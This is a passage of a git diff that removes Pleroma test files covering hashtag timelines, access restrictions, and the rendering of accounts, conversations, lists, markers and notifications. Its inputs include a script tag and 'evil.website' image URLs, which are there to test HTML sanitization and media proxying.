capture_log: true - test "hashtag timeline", %{conn: conn} do - following = insert(:user) - - {:ok, activity} = CommonAPI.post(following, %{status: "test #2hu"}) - - nconn = get(conn, "/api/v1/timelines/tag/2hu") - - assert [%{"id" => id}] = json_response_and_validate_schema(nconn, :ok) - - assert id == to_string(activity.id) - - # works for different capitalization too - nconn = get(conn, "/api/v1/timelines/tag/2HU") - - assert [%{"id" => id}] = json_response_and_validate_schema(nconn, :ok) - - assert id == to_string(activity.id) - end - - test "multi-hashtag timeline", %{conn: conn} do - user = insert(:user) - - {:ok, activity_test} = CommonAPI.post(user, %{status: "#test"}) - {:ok, activity_test1} = CommonAPI.post(user, %{status: "#test #test1"}) - {:ok, activity_none} = CommonAPI.post(user, %{status: "#test #none"}) - - any_test = get(conn, "/api/v1/timelines/tag/test?any[]=test1") - - [status_none, status_test1, status_test] = json_response_and_validate_schema(any_test, :ok) - - assert to_string(activity_test.id) == status_test["id"] - assert to_string(activity_test1.id) == status_test1["id"] - assert to_string(activity_none.id) == status_none["id"] - - restricted_test = get(conn, "/api/v1/timelines/tag/test?all[]=test1&none[]=none") - - assert [status_test1] == json_response_and_validate_schema(restricted_test, :ok) - - all_test = get(conn, "/api/v1/timelines/tag/test?all[]=none") - - assert [status_none] == json_response_and_validate_schema(all_test, :ok) - end - end - - describe "hashtag timeline handling of :restrict_unauthenticated setting" do - setup do - user = insert(:user) - {:ok, activity1} = CommonAPI.post(user, %{status: "test #tag1"}) - {:ok, _activity2} = CommonAPI.post(user, %{status: "test #tag1"}) - - activity1 - |> Ecto.Changeset.change(%{local: false}) - |> Pleroma.Repo.update() - - base_uri = "/api/v1/timelines/tag/tag1" - error_response = %{"error" => "authorization required for timeline view"} - - %{base_uri: base_uri, error_response: error_response} - end - - defp ensure_authenticated_access(base_uri) do - %{conn: auth_conn} = oauth_access(["read:statuses"]) - - res_conn = get(auth_conn, "#{base_uri}?local=true") - assert length(json_response(res_conn, 200)) == 1 - - res_conn = get(auth_conn, "#{base_uri}?local=false") - assert length(json_response(res_conn, 200)) == 2 - end - - test "with default settings on private instances, returns 403 for unauthenticated users", %{ - conn: conn, - base_uri: base_uri, - error_response: error_response - } do - clear_config([:instance, :public], false) - clear_config([:restrict_unauthenticated, :timelines]) - - for local <- [true, false] do - res_conn = get(conn, "#{base_uri}?local=#{local}") - - assert json_response(res_conn, :unauthorized) == error_response - end - - ensure_authenticated_access(base_uri) - end - - test "with `%{local: true, federated: true}`, returns 403 for unauthenticated users", %{ - conn: conn, - base_uri: base_uri, - error_response: error_response - } do - clear_config([:restrict_unauthenticated, :timelines, :local], true) - clear_config([:restrict_unauthenticated, :timelines, :federated], true) - - for local <- [true, false] do - res_conn = get(conn, "#{base_uri}?local=#{local}") - - assert json_response(res_conn, :unauthorized) == error_response - end - - ensure_authenticated_access(base_uri) - end - - test "with `%{local: false, federated: true}`, forbids unauthenticated access to federated timeline", - %{conn: conn, base_uri: base_uri, error_response: error_response} do - clear_config([:restrict_unauthenticated, :timelines, :local], false) - clear_config([:restrict_unauthenticated, :timelines, :federated], true) - - res_conn = get(conn, "#{base_uri}?local=true") - assert length(json_response(res_conn, 200)) == 1 - - res_conn = get(conn, "#{base_uri}?local=false") - assert json_response(res_conn, :unauthorized) == error_response - - ensure_authenticated_access(base_uri) - end - - test "with `%{local: true, federated: false}`, forbids unauthenticated access to public timeline" <> - "(but not to local public activities which are delivered as part of federated timeline)", - %{conn: conn, base_uri: base_uri, error_response: error_response} do - clear_config([:restrict_unauthenticated, :timelines, :local], true) - clear_config([:restrict_unauthenticated, :timelines, :federated], false) - - res_conn = get(conn, "#{base_uri}?local=true") - assert json_response(res_conn, :unauthorized) == error_response - - # Note: local activities get delivered as part of federated timeline - res_conn = get(conn, "#{base_uri}?local=false") - assert length(json_response(res_conn, 200)) == 2 - - ensure_authenticated_access(base_uri) - end - end -end diff --git a/test/web/mastodon_api/mastodon_api_controller_test.exs b/test/web/mastodon_api/mastodon_api_controller_test.exs deleted file mode 100644 index bb4bc4396..000000000 --- a/test/web/mastodon_api/mastodon_api_controller_test.exs +++ /dev/null @@ -1,34 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do - use Pleroma.Web.ConnCase - - describe "empty_array/2 (stubs)" do - test "GET /api/v1/accounts/:id/identity_proofs" do - %{user: user, conn: conn} = oauth_access(["read:accounts"]) - - assert [] == - conn - |> get("/api/v1/accounts/#{user.id}/identity_proofs") - |> json_response(200) - end - - test "GET /api/v1/endorsements" do - %{conn: conn} = oauth_access(["read:accounts"]) - - assert [] == - conn - |> get("/api/v1/endorsements") - |> json_response(200) - end - - test "GET /api/v1/trends", %{conn: conn} do - assert [] == - conn - |> get("/api/v1/trends") - |> json_response(200) - end - end -end diff --git a/test/web/mastodon_api/mastodon_api_test.exs b/test/web/mastodon_api/mastodon_api_test.exs deleted file mode 100644 index 0c5a38bf6..000000000 --- a/test/web/mastodon_api/mastodon_api_test.exs +++ /dev/null @@ -1,103 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.MastodonAPITest do - use Pleroma.Web.ConnCase - - alias Pleroma.Notification - alias Pleroma.ScheduledActivity - alias Pleroma.User - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.MastodonAPI.MastodonAPI - - import Pleroma.Factory - - describe "follow/3" do - test "returns error when followed user is deactivated" do - follower = insert(:user) - user = insert(:user, local: true, deactivated: true) - assert {:error, _error} = MastodonAPI.follow(follower, user) - end - - test "following for user" do - follower = insert(:user) - user = insert(:user) - {:ok, follower} = MastodonAPI.follow(follower, user) - assert User.following?(follower, user) - end - - test "returns ok if user already followed" do - follower = insert(:user) - user = insert(:user) - {:ok, follower} = User.follow(follower, user) - {:ok, follower} = MastodonAPI.follow(follower, refresh_record(user)) - assert User.following?(follower, user) - end - end - - describe "get_followers/2" do - test "returns user followers" do - follower1_user = insert(:user) - follower2_user = insert(:user) - user = insert(:user) - {:ok, _follower1_user} = User.follow(follower1_user, user) - {:ok, follower2_user} = User.follow(follower2_user, user) - - assert MastodonAPI.get_followers(user, %{"limit" => 1}) == [follower2_user] - end - end - - describe "get_friends/2" do - test "returns user friends" do - user = insert(:user) - followed_one = insert(:user) - followed_two = insert(:user) - followed_three = insert(:user) - - {:ok, user} = User.follow(user, followed_one) - {:ok, user} = User.follow(user, followed_two) - {:ok, user} = User.follow(user, followed_three) - res = MastodonAPI.get_friends(user) - - assert length(res) == 3 - assert Enum.member?(res, refresh_record(followed_three)) - assert Enum.member?(res, refresh_record(followed_two)) - assert Enum.member?(res, refresh_record(followed_one)) - end - end - - describe "get_notifications/2" do - test "returns notifications for user" do - user = insert(:user) - subscriber = insert(:user) - - User.subscribe(subscriber, user) - - {:ok, status} = CommonAPI.post(user, %{status: "Akariiiin"}) - - {:ok, status1} = CommonAPI.post(user, %{status: "Magi"}) - {:ok, [notification]} = Notification.create_notifications(status) - {:ok, [notification1]} = Notification.create_notifications(status1) - res = MastodonAPI.get_notifications(subscriber) - - assert Enum.member?(Enum.map(res, & &1.id), notification.id) - assert Enum.member?(Enum.map(res, & &1.id), notification1.id) - end - end - - describe "get_scheduled_activities/2" do - test "returns user scheduled activities" do - user = insert(:user) - - today = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(:timer.minutes(6), :millisecond) - |> NaiveDateTime.to_iso8601() - - attrs = %{params: %{}, scheduled_at: today} - {:ok, schedule} = ScheduledActivity.create(user, attrs) - assert MastodonAPI.get_scheduled_activities(user) == [schedule] - end - end -end diff --git a/test/web/mastodon_api/views/account_view_test.exs b/test/web/mastodon_api/views/account_view_test.exs deleted file mode 100644 index a5f39b215..000000000 --- a/test/web/mastodon_api/views/account_view_test.exs +++ /dev/null @@ -1,575 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.AccountViewTest do - use Pleroma.DataCase - - alias Pleroma.Config - alias Pleroma.User - alias Pleroma.UserRelationship - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.MastodonAPI.AccountView - - import Pleroma.Factory - import Tesla.Mock - - setup do - mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - test "Represent a user account" do - background_image = %{ - "url" => [%{"href" => "https://example.com/images/asuka_hospital.png"}] - } - - user = - insert(:user, %{ - follower_count: 3, - note_count: 5, - background: background_image, - nickname: "shp@shitposter.club", - name: ":karjalanpiirakka: shp", - bio: - "<script src=\"invalid-html\"></script><span>valid html</span>. a<br>b<br/>c<br >d<br />f '&<>\"", - inserted_at: ~N[2017-08-15 15:47:06.597036], - emoji: %{"karjalanpiirakka" => "/file.png"}, - raw_bio: "valid html. a\nb\nc\nd\nf '&<>\"" - }) - - expected = %{ - id: to_string(user.id), - username: "shp", - acct: user.nickname, - display_name: user.name, - locked: false, - created_at: "2017-08-15T15:47:06.000Z", - followers_count: 3, - following_count: 0, - statuses_count: 5, - note: "<span>valid html</span>. a<br/>b<br/>c<br/>d<br/>f '&<>"", - url: user.ap_id, - avatar: "http://localhost:4001/images/avi.png", - avatar_static: "http://localhost:4001/images/avi.png", - header: "http://localhost:4001/images/banner.png", - header_static: "http://localhost:4001/images/banner.png", - emojis: [ - %{ - static_url: "/file.png", - url: "/file.png", - shortcode: "karjalanpiirakka", - visible_in_picker: false - } - ], - fields: [], - bot: false, - source: %{ - note: "valid html. a\nb\nc\nd\nf '&<>\"", - sensitive: false, - pleroma: %{ - actor_type: "Person", - discoverable: true - }, - fields: [] - }, - pleroma: %{ - ap_id: user.ap_id, - background_image: "https://example.com/images/asuka_hospital.png", - favicon: nil, - confirmation_pending: false, - tags: [], - is_admin: false, - is_moderator: false, - hide_favorites: true, - hide_followers: false, - hide_follows: false, - hide_followers_count: false, - hide_follows_count: false, - relationship: %{}, - skip_thread_containment: false, - accepts_chat_messages: nil - } - } - - assert expected == AccountView.render("show.json", %{user: user, skip_visibility_check: true}) - end - - describe "favicon" do - setup do - [user: insert(:user)] - end - - test "is parsed when :instance_favicons is enabled", %{user: user} do - clear_config([:instances_favicons, :enabled], true) - - assert %{ - pleroma: %{ - favicon: - "https://shitposter.club/plugins/Qvitter/img/gnusocial-favicons/favicon-16x16.png" - } - } = AccountView.render("show.json", %{user: user, skip_visibility_check: true}) - end - - test "is nil when :instances_favicons is disabled", %{user: user} do - assert %{pleroma: %{favicon: nil}} = - AccountView.render("show.json", %{user: user, skip_visibility_check: true}) - end - end - - test "Represent the user account for the account owner" do - user = insert(:user) - - notification_settings = %{ - block_from_strangers: false, - hide_notification_contents: false - } - - privacy = user.default_scope - - assert %{ - pleroma: %{notification_settings: ^notification_settings, allow_following_move: true}, - source: %{privacy: ^privacy} - } = AccountView.render("show.json", %{user: user, for: user}) - end - - test "Represent a Service(bot) account" do - user = - insert(:user, %{ - follower_count: 3, - note_count: 5, - actor_type: "Service", - nickname: "shp@shitposter.club", - inserted_at: ~N[2017-08-15 15:47:06.597036] - }) - - expected = %{ - id: to_string(user.id), - username: "shp", - acct: user.nickname, - display_name: user.name, - locked: false, - created_at: "2017-08-15T15:47:06.000Z", - followers_count: 3, - following_count: 0, - statuses_count: 5, - note: user.bio, - url: user.ap_id, - avatar: "http://localhost:4001/images/avi.png", - avatar_static: "http://localhost:4001/images/avi.png", - header: "http://localhost:4001/images/banner.png", - header_static: "http://localhost:4001/images/banner.png", - emojis: [], - fields: [], - bot: true, - source: %{ - note: user.bio, - sensitive: false, - pleroma: %{ - actor_type: "Service", - discoverable: true - }, - fields: [] - }, - pleroma: %{ - ap_id: user.ap_id, - background_image: nil, - favicon: nil, - confirmation_pending: false, - tags: [], - is_admin: false, - is_moderator: false, - hide_favorites: true, - hide_followers: false, - hide_follows: false, - hide_followers_count: false, - hide_follows_count: false, - relationship: %{}, - skip_thread_containment: false, - accepts_chat_messages: nil - } - } - - assert expected == AccountView.render("show.json", %{user: user, skip_visibility_check: true}) - end - - test "Represent a Funkwhale channel" do - {:ok, user} = - User.get_or_fetch_by_ap_id( - "https://channels.tests.funkwhale.audio/federation/actors/compositions" - ) - - assert represented = - AccountView.render("show.json", %{user: user, skip_visibility_check: true}) - - assert represented.acct == "compositions@channels.tests.funkwhale.audio" - assert represented.url == "https://channels.tests.funkwhale.audio/channels/compositions" - end - - test "Represent a deactivated user for an admin" do - admin = insert(:user, is_admin: true) - deactivated_user = insert(:user, deactivated: true) - represented = AccountView.render("show.json", %{user: deactivated_user, for: admin}) - assert represented[:pleroma][:deactivated] == true - end - - test "Represent a smaller mention" do - user = insert(:user) - - expected = %{ - id: to_string(user.id), - acct: user.nickname, - username: user.nickname, - url: user.ap_id - } - - assert expected == AccountView.render("mention.json", %{user: user}) - end - - test "demands :for or :skip_visibility_check option for account rendering" do - clear_config([:restrict_unauthenticated, :profiles, :local], false) - - user = insert(:user) - user_id = user.id - - assert %{id: ^user_id} = AccountView.render("show.json", %{user: user, for: nil}) - assert %{id: ^user_id} = AccountView.render("show.json", %{user: user, for: user}) - - assert %{id: ^user_id} = - AccountView.render("show.json", %{user: user, skip_visibility_check: true}) - - assert_raise RuntimeError, ~r/:skip_visibility_check or :for option is required/, fn -> - AccountView.render("show.json", %{user: user}) - end - end - - describe "relationship" do - defp test_relationship_rendering(user, other_user, expected_result) do - opts = %{user: user, target: other_user, relationships: nil} - assert expected_result == AccountView.render("relationship.json", opts) - - relationships_opt = UserRelationship.view_relationships_option(user, [other_user]) - opts = Map.put(opts, :relationships, relationships_opt) - assert expected_result == AccountView.render("relationship.json", opts) - - assert [expected_result] == - AccountView.render("relationships.json", %{user: user, targets: [other_user]}) - end - - @blank_response %{ - following: false, - followed_by: false, - blocking: false, - blocked_by: false, - muting: false, - muting_notifications: false, - subscribing: false, - requested: false, - domain_blocking: false, - showing_reblogs: true, - endorsed: false - } - - test "represent a relationship for the following and followed user" do - user = insert(:user) - other_user = insert(:user) - - {:ok, user} = User.follow(user, other_user) - {:ok, other_user} = User.follow(other_user, user) - {:ok, _subscription} = User.subscribe(user, other_user) - {:ok, _user_relationships} = User.mute(user, other_user, true) - {:ok, _reblog_mute} = CommonAPI.hide_reblogs(user, other_user) - - expected = - Map.merge( - @blank_response, - %{ - following: true, - followed_by: true, - muting: true, - muting_notifications: true, - subscribing: true, - showing_reblogs: false, - id: to_string(other_user.id) - } - ) - - test_relationship_rendering(user, other_user, expected) - end - - test "represent a relationship for the blocking and blocked user" do - user = insert(:user) - other_user = insert(:user) - - {:ok, user} = User.follow(user, other_user) - {:ok, _subscription} = User.subscribe(user, other_user) - {:ok, _user_relationship} = User.block(user, other_user) - {:ok, _user_relationship} = User.block(other_user, user) - - expected = - Map.merge( - @blank_response, - %{following: false, blocking: true, blocked_by: true, id: to_string(other_user.id)} - ) - - test_relationship_rendering(user, other_user, expected) - end - - test "represent a relationship for the user blocking a domain" do - user = insert(:user) - other_user = insert(:user, ap_id: "https://bad.site/users/other_user") - - {:ok, user} = User.block_domain(user, "bad.site") - - expected = - Map.merge( - @blank_response, - %{domain_blocking: true, blocking: false, id: to_string(other_user.id)} - ) - - test_relationship_rendering(user, other_user, expected) - end - - test "represent a relationship for the user with a pending follow request" do - user = insert(:user) - other_user = insert(:user, locked: true) - - {:ok, user, other_user, _} = CommonAPI.follow(user, other_user) - user = User.get_cached_by_id(user.id) - other_user = User.get_cached_by_id(other_user.id) - - expected = - Map.merge( - @blank_response, - %{requested: true, following: false, id: to_string(other_user.id)} - ) - - test_relationship_rendering(user, other_user, expected) - end - end - - test "returns the settings store if the requesting user is the represented user and it's requested specifically" do - user = insert(:user, pleroma_settings_store: %{fe: "test"}) - - result = - AccountView.render("show.json", %{user: user, for: user, with_pleroma_settings: true}) - - assert result.pleroma.settings_store == %{:fe => "test"} - - result = AccountView.render("show.json", %{user: user, for: nil, with_pleroma_settings: true}) - assert result.pleroma[:settings_store] == nil - - result = AccountView.render("show.json", %{user: user, for: user}) - assert result.pleroma[:settings_store] == nil - end - - test "doesn't sanitize display names" do - user = insert(:user, name: "<marquee> username </marquee>") - result = AccountView.render("show.json", %{user: user, skip_visibility_check: true}) - assert result.display_name == "<marquee> username </marquee>" - end - - test "never display nil user follow counts" do - user = insert(:user, following_count: 0, follower_count: 0) - result = AccountView.render("show.json", %{user: user, skip_visibility_check: true}) - - assert result.following_count == 0 - assert result.followers_count == 0 - end - - describe "hiding follows/following" do - test "shows when follows/followers stats are hidden and sets follow/follower count to 0" do - user = - insert(:user, %{ - hide_followers: true, - hide_followers_count: true, - hide_follows: true, - hide_follows_count: true - }) - - other_user = insert(:user) - {:ok, user, other_user, _activity} = CommonAPI.follow(user, other_user) - {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) - - assert %{ - followers_count: 0, - following_count: 0, - pleroma: %{hide_follows_count: true, hide_followers_count: true} - } = AccountView.render("show.json", %{user: user, skip_visibility_check: true}) - end - - test "shows when follows/followers are hidden" do - user = insert(:user, hide_followers: true, hide_follows: true) - other_user = insert(:user) - {:ok, user, other_user, _activity} = CommonAPI.follow(user, other_user) - {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) - - assert %{ - followers_count: 1, - following_count: 1, - pleroma: %{hide_follows: true, hide_followers: true} - } = AccountView.render("show.json", %{user: user, skip_visibility_check: true}) - end - - test "shows actual follower/following count to the account owner" do - user = insert(:user, hide_followers: true, hide_follows: true) - other_user = insert(:user) - {:ok, user, other_user, _activity} = CommonAPI.follow(user, other_user) - - assert User.following?(user, other_user) - assert Pleroma.FollowingRelationship.follower_count(other_user) == 1 - {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) - - assert %{ - followers_count: 1, - following_count: 1 - } = AccountView.render("show.json", %{user: user, for: user}) - end - - test "shows unread_conversation_count only to the account owner" do - user = insert(:user) - other_user = insert(:user) - - {:ok, _activity} = - CommonAPI.post(other_user, %{ - status: "Hey @#{user.nickname}.", - visibility: "direct" - }) - - user = User.get_cached_by_ap_id(user.ap_id) - - assert AccountView.render("show.json", %{user: user, for: other_user})[:pleroma][ - :unread_conversation_count - ] == nil - - assert AccountView.render("show.json", %{user: user, for: user})[:pleroma][ - :unread_conversation_count - ] == 1 - end - - test "shows unread_count only to the account owner" do - user = insert(:user) - insert_list(7, :notification, user: user, activity: insert(:note_activity)) - other_user = insert(:user) - - user = User.get_cached_by_ap_id(user.ap_id) - - assert AccountView.render( - "show.json", - %{user: user, for: other_user} - )[:pleroma][:unread_notifications_count] == nil - - assert AccountView.render( - "show.json", - %{user: user, for: user} - )[:pleroma][:unread_notifications_count] == 7 - end - end - - describe "follow requests counter" do - test "shows zero when no follow requests are pending" do - user = insert(:user) - - assert %{follow_requests_count: 0} = - AccountView.render("show.json", %{user: user, for: user}) - - other_user = insert(:user) - {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) - - assert %{follow_requests_count: 0} = - AccountView.render("show.json", %{user: user, for: user}) - end - - test "shows non-zero when follow requests are pending" do - user = insert(:user, locked: true) - - assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) - - other_user = insert(:user) - {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) - - assert %{locked: true, follow_requests_count: 1} = - AccountView.render("show.json", %{user: user, for: user}) - end - - test "decreases when accepting a follow request" do - user = insert(:user, locked: true) - - assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) - - other_user = insert(:user) - {:ok, other_user, user, _activity} = CommonAPI.follow(other_user, user) - - assert %{locked: true, follow_requests_count: 1} = - AccountView.render("show.json", %{user: user, for: user}) - - {:ok, _other_user} = CommonAPI.accept_follow_request(other_user, user) - - assert %{locked: true, follow_requests_count: 0} = - AccountView.render("show.json", %{user: user, for: user}) - end - - test "decreases when rejecting a follow request" do - user = insert(:user, locked: true) - - assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) - - other_user = insert(:user) - {:ok, other_user, user, _activity} = CommonAPI.follow(other_user, user) - - assert %{locked: true, follow_requests_count: 1} = - AccountView.render("show.json", %{user: user, for: user}) - - {:ok, _other_user} = CommonAPI.reject_follow_request(other_user, user) - - assert %{locked: true, follow_requests_count: 0} = - AccountView.render("show.json", %{user: user, for: user}) - end - - test "shows non-zero when historical unapproved requests are present" do - user = insert(:user, locked: true) - - assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) - - other_user = insert(:user) - {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) - - {:ok, user} = User.update_and_set_cache(user, %{locked: false}) - - assert %{locked: false, follow_requests_count: 1} = - AccountView.render("show.json", %{user: user, for: user}) - end - end - - test "uses mediaproxy urls when it's enabled (regardless of media preview proxy state)" do - clear_config([:media_proxy, :enabled], true) - clear_config([:media_preview_proxy, :enabled]) - - user = - insert(:user, - avatar: %{"url" => [%{"href" => "https://evil.website/avatar.png"}]}, - banner: %{"url" => [%{"href" => "https://evil.website/banner.png"}]}, - emoji: %{"joker_smile" => "https://evil.website/society.png"} - ) - - with media_preview_enabled <- [false, true] do - Config.put([:media_preview_proxy, :enabled], media_preview_enabled) - - AccountView.render("show.json", %{user: user, skip_visibility_check: true}) - |> Enum.all?(fn - {key, url} when key in [:avatar, :avatar_static, :header, :header_static] -> - String.starts_with?(url, Pleroma.Web.base_url()) - - {:emojis, emojis} -> - Enum.all?(emojis, fn %{url: url, static_url: static_url} -> - String.starts_with?(url, Pleroma.Web.base_url()) && - String.starts_with?(static_url, Pleroma.Web.base_url()) - end) - - _ -> - true - end) - |> assert() - end - end -end diff --git a/test/web/mastodon_api/views/conversation_view_test.exs b/test/web/mastodon_api/views/conversation_view_test.exs deleted file mode 100644 index 2e8203c9b..000000000 --- a/test/web/mastodon_api/views/conversation_view_test.exs +++ /dev/null @@ -1,44 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.ConversationViewTest do - use Pleroma.DataCase - - alias Pleroma.Conversation.Participation - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.MastodonAPI.ConversationView - - import Pleroma.Factory - - test "represents a Mastodon Conversation entity" do - user = insert(:user) - other_user = insert(:user) - - {:ok, parent} = CommonAPI.post(user, %{status: "parent"}) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "hey @#{other_user.nickname}", - visibility: "direct", - in_reply_to_id: parent.id - }) - - {:ok, _reply_activity} = - CommonAPI.post(user, %{status: "hu", visibility: "public", in_reply_to_id: parent.id}) - - [participation] = Participation.for_user_with_last_activity_id(user) - - assert participation - - conversation = - ConversationView.render("participation.json", %{participation: participation, for: user}) - - assert conversation.id == participation.id |> to_string() - assert conversation.last_status.id == activity.id - - assert [account] = conversation.accounts - assert account.id == other_user.id - assert conversation.last_status.pleroma.direct_conversation_id == participation.id - end -end diff --git a/test/web/mastodon_api/views/list_view_test.exs b/test/web/mastodon_api/views/list_view_test.exs deleted file mode 100644 index ca99242cb..000000000 --- a/test/web/mastodon_api/views/list_view_test.exs +++ /dev/null @@ -1,32 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.ListViewTest do - use Pleroma.DataCase - import Pleroma.Factory - alias Pleroma.Web.MastodonAPI.ListView - - test "show" do - user = insert(:user) - title = "mortal enemies" - {:ok, list} = Pleroma.List.create(title, user) - - expected = %{ - id: to_string(list.id), - title: title - } - - assert expected == ListView.render("show.json", %{list: list}) - end - - test "index" do - user = insert(:user) - - {:ok, list} = Pleroma.List.create("my list", user) - {:ok, list2} = Pleroma.List.create("cofe", user) - - assert [%{id: _, title: "my list"}, %{id: _, title: "cofe"}] = - ListView.render("index.json", lists: [list, list2]) - end -end diff --git a/test/web/mastodon_api/views/marker_view_test.exs b/test/web/mastodon_api/views/marker_view_test.exs deleted file mode 100644 index 48a0a6d33..000000000 --- a/test/web/mastodon_api/views/marker_view_test.exs +++ /dev/null @@ -1,29 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.MarkerViewTest do - use Pleroma.DataCase - alias Pleroma.Web.MastodonAPI.MarkerView - import Pleroma.Factory - - test "returns markers" do - marker1 = insert(:marker, timeline: "notifications", last_read_id: "17", unread_count: 5) - marker2 = insert(:marker, timeline: "home", last_read_id: "42") - - assert MarkerView.render("markers.json", %{markers: [marker1, marker2]}) == %{ - "home" => %{ - last_read_id: "42", - updated_at: NaiveDateTime.to_iso8601(marker2.updated_at), - version: 0, - pleroma: %{unread_count: 0} - }, - "notifications" => %{ - last_read_id: "17", - updated_at: NaiveDateTime.to_iso8601(marker1.updated_at), - version: 0, - pleroma: %{unread_count: 5} - } - } - end -end diff --git a/test/web/mastodon_api/views/notification_view_test.exs b/test/web/mastodon_api/views/notification_view_test.exs deleted file mode 100644 index 2f6a808f1..000000000 --- a/test/web/mastodon_api/views/notification_view_test.exs +++ /dev/null @@ -1,231 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.NotificationViewTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Chat - alias Pleroma.Chat.MessageReference - alias Pleroma.Notification - alias Pleroma.Object - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.CommonAPI.Utils - alias Pleroma.Web.MastodonAPI.AccountView - alias Pleroma.Web.MastodonAPI.NotificationView - alias Pleroma.Web.MastodonAPI.StatusView - alias Pleroma.Web.PleromaAPI.Chat.MessageReferenceView - import Pleroma.Factory - - defp test_notifications_rendering(notifications, user, expected_result) do - result = NotificationView.render("index.json", %{notifications: notifications, for: user}) - - assert expected_result == result - - result = - NotificationView.render("index.json", %{ - notifications: notifications, - for: user, - relationships: nil - }) - - assert expected_result == result - end - - test "ChatMessage notification" do - user = insert(:user) - recipient = insert(:user) - {:ok, activity} = CommonAPI.post_chat_message(user, recipient, "what's up my dude") - - {:ok, [notification]} = Notification.create_notifications(activity) - - object = Object.normalize(activity) - chat = Chat.get(recipient.id, user.ap_id) - - cm_ref = MessageReference.for_chat_and_object(chat, object) - - expected = %{ - id: to_string(notification.id), - pleroma: %{is_seen: false, is_muted: false}, - type: "pleroma:chat_mention", - account: AccountView.render("show.json", %{user: user, for: recipient}), - chat_message: MessageReferenceView.render("show.json", %{chat_message_reference: cm_ref}), - created_at: Utils.to_masto_date(notification.inserted_at) - } - - test_notifications_rendering([notification], recipient, [expected]) - end - - test "Mention notification" do - user = insert(:user) - mentioned_user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{mentioned_user.nickname}"}) - {:ok, [notification]} = Notification.create_notifications(activity) - user = User.get_cached_by_id(user.id) - - expected = %{ - id: to_string(notification.id), - pleroma: %{is_seen: false, is_muted: false}, - type: "mention", - account: - AccountView.render("show.json", %{ - user: user, - for: mentioned_user - }), - status: StatusView.render("show.json", %{activity: activity, for: mentioned_user}), - created_at: Utils.to_masto_date(notification.inserted_at) - } - - test_notifications_rendering([notification], mentioned_user, [expected]) - end - - test "Favourite notification" do - user = insert(:user) - another_user = insert(:user) - {:ok, create_activity} = CommonAPI.post(user, %{status: "hey"}) - {:ok, favorite_activity} = CommonAPI.favorite(another_user, create_activity.id) - {:ok, [notification]} = Notification.create_notifications(favorite_activity) - create_activity = Activity.get_by_id(create_activity.id) - - expected = %{ - id: to_string(notification.id), - pleroma: %{is_seen: false, is_muted: false}, - type: "favourite", - account: AccountView.render("show.json", %{user: another_user, for: user}), - status: StatusView.render("show.json", %{activity: create_activity, for: user}), - created_at: Utils.to_masto_date(notification.inserted_at) - } - - test_notifications_rendering([notification], user, [expected]) - end - - test "Reblog notification" do - user = insert(:user) - another_user = insert(:user) - {:ok, create_activity} = CommonAPI.post(user, %{status: "hey"}) - {:ok, reblog_activity} = CommonAPI.repeat(create_activity.id, another_user) - {:ok, [notification]} = Notification.create_notifications(reblog_activity) - reblog_activity = Activity.get_by_id(create_activity.id) - - expected = %{ - id: to_string(notification.id), - pleroma: %{is_seen: false, is_muted: false}, - type: "reblog", - account: AccountView.render("show.json", %{user: another_user, for: user}), - status: StatusView.render("show.json", %{activity: reblog_activity, for: user}), - created_at: Utils.to_masto_date(notification.inserted_at) - } - - test_notifications_rendering([notification], user, [expected]) - end - - test "Follow notification" do - follower = insert(:user) - followed = insert(:user) - {:ok, follower, followed, _activity} = CommonAPI.follow(follower, followed) - notification = Notification |> Repo.one() |> Repo.preload(:activity) - - expected = %{ - id: to_string(notification.id), - pleroma: %{is_seen: false, is_muted: false}, - type: "follow", - account: AccountView.render("show.json", %{user: follower, for: followed}), - created_at: Utils.to_masto_date(notification.inserted_at) - } - - test_notifications_rendering([notification], followed, [expected]) - - User.perform(:delete, follower) - refute Repo.one(Notification) - end - - @tag capture_log: true - test "Move notification" do - old_user = insert(:user) - new_user = insert(:user, also_known_as: [old_user.ap_id]) - follower = insert(:user) - - old_user_url = old_user.ap_id - - body = - File.read!("test/fixtures/users_mock/localhost.json") - |> String.replace("{{nickname}}", old_user.nickname) - |> 